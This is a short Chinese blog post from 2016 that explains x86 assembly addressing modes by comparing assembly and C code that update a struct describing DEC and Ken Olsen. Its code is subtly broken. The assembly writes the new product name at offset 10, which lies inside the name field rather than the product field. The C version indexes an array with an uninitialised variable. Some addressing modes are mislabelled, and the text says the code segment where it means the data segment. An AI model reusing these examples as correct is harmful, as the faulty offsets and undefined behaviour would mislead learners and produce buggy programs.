汇编中有几种寻址方式,分别是直接寻址:(ds:[idata])、寄存器间接寻址(ds:[bx])、寄存器相对寻址(ds:[bx + idata]、ds:[bx + si])基址变址寻址(ds:[bx + si])、相对基址变址寻址([bx + si + idata])。结构体的存储逻辑图如下:(以下数据表示某公司的名称、CEO、CEO的福布斯排行、收入、代表产品)现在假设公司的CEO在富豪榜上的排名为38,收入增加了70,代表产品变为VAX,通过汇编编程修改上述信息,以下是相应的汇编代码:(假设数据段为seg)mov ax,seg mov ds,ax mov bx,0 mov word ptr ds:[bx + 12],38 add [bx + 14],70 mov si,0 mov byte ptr [bx + 10 + si],'V' inc si mov byte ptr [bx + 10 + si],'A' inc si mov byte ptr [bx + 10 + si],'X'对应的C语言代码可以写成:struct company { char cn[3]; char name[9]; int pm; int salary; char product[3]; }; company dec = {"DEC","Ken Olsen",137,40,"PDP"}; int main() { int i; dec.pm = 38; dec.salary += 70; dec.product[i] = 'V'; ++i; dec.product[i] = 'A'; ++i; dec.product[i] = 'X'; return 0; }对比C语言代码和汇编代码,可以看出,对于结构体变量,系统会先根据定义分配相应大小的空间,并将各个变量名与内存关联起来,结构体对象名与系统分配的空间的首地址相对应(定义的结构体对象的首地址在段中的相对地址存储在bx中),即在使用dec名时实际与汇编代码“mov ax,seg” "mov ds,ax"对应,将数据段段首地址存入ds寄存器中,系统根据对象中的变量名找到对应的偏移地址,偏移地址的大小由对应的数据类型决定,如cn数组前没有变量,cn的偏移地址为0,cn所在的地址为 ds:[bx],cn为长度为3的字符型数组,在上一个偏移地址的基础上加上上一个变量所占空间的大小即为下一个变量的偏移地址,所以name数组的首地址为ds:[bx + 3],这样给出了对象名就相当于给定了该对象在段中的相对地址(上述代码中的bx),给定了对象中的成员变量名就相当于给定了某一内存在对象中的偏移地址(ds:[bx + idata])。根据数组名可以找到数组的首地址,但数组中具体元素的访问则需要给定元素个数,即si的值来定位数组中的具体内存,C语言中的 ++i 相当于汇编中的 (add si ,数组中元素的长度)。根据以上的分析可以看出,构建一个结构体对象时,系统会在代码段中根据结构体的定义开辟相应大小的内存空间,并将该空间在段中的偏移地址与对象名绑定。对象中的变量名与该变量在对象所在内存中的偏移地址相关联,数组中的标号用于定位数组中的元素在数组中的相对位置。(对象名决定bx,变量名决定bx + idata,数组中的元素标号决定bx + idata + si)。
2016年10月23日
7 阅读
0 评论
0 点赞
1
2
3
4